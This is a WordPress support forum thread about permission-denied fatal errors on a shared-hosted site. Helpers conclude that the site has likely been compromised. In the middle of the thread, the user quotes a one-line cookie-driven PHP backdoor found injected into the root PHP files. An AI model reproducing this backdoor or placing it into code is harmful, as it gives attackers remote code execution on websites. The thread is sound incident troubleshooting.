Access denied to WordPress. Fatal error: require_once()

The clue seems to be “Permission denied”. What is the ownership and permissions on wp-config.php?

Now the permissions are set to “200”, because that is what It was set at the beggining, but we tried with “777” and it doesn’t work either. What do you mean by “ownership”?

Thanks for the help.

The permissions should be 640 or 644. What userid owns the file? Is it the same as the rest of the files?

The permissions 640 and 644 have already been tested wrongly:

640:
Warning: require_once(/homepages/5/…/htdocs/wp-settings.php): failed to open stream: Permission denied in /homepages/5/d455764786/htdocs/wp-config.php on line 85

Fatal error: require_once(): Failed opening required ‘/homepages/5/…/htdocs/wp-settings.php’ (include_path=’.:/usr/lib/php5.5′) in /homepages/5/…/htdocs/wp-config.php on line 85

644:
Warning: require_once(/homepages/5/…/htdocs/wp-config.php): failed to open stream: Permission denied in /homepages/5/d455764786/htdocs/wp-load.php on line 37

Fatal error: require_once(): Failed opening required ‘/homepages/5/…/htdocs/wp-config.php’ (include_path=’.:/usr/lib/php5.5′) in /homepages/5/…/htdocs/wp-load.php on line 37

Yes, the user is the same as the rest of the files.

tell me a bit about your hosting… where? who? Is it a VPS or “regular” shared hosting?

The hosting is 1and1. We only have access via FTP.

In the header of several files appears this, is it normal?

if (isset($_COOKIE[“id”])) @$_COOKIE[“user”]($_COOKIE[“id”]);

which file?

In wp-load.php, wp-mail.php, wp-config… In all .php files in /.

This are all permissions, It’s ok? https://s5.postimg.org/oqybtvh0n/wordpress.png

• This reply was modified 7 years, 10 months ago by janapien.

In wp-load.php, wp-mail.php, wp-config… In all .php files in /.

I strongly urge you to compaare those PHP files with the core versions. See
https://github.com/WordPress/WordPress

Remain calm and carefully follow this guide. When you’re done, you may want to implement some (if not all) of the recommended security measures.

If you’re unable to clean your site(s) successfully, there are reputable organizations that can clean your sites for you. Sucuri and Wordfence are two.

This are all permissions, It’s ok?

No. The permissions should be 751 on directories and 640 on files.

Well. Thanks for the help.

We change de permissions and we can see the website for 2 minutes, then “Access denied” appears again because they are changed only from 640 to 200.

Every time I change it back to 200 after. That could be happening?

Contact your host, but I think you may be hacked.

Remain calm and carefully follow this guide. When you’re done, you may want to implement some (if not all) of the recommended security measures.

If you’re unable to clean your site(s) successfully, there are reputable organizations that can clean your sites for you. Sucuri and Wordfence are two.e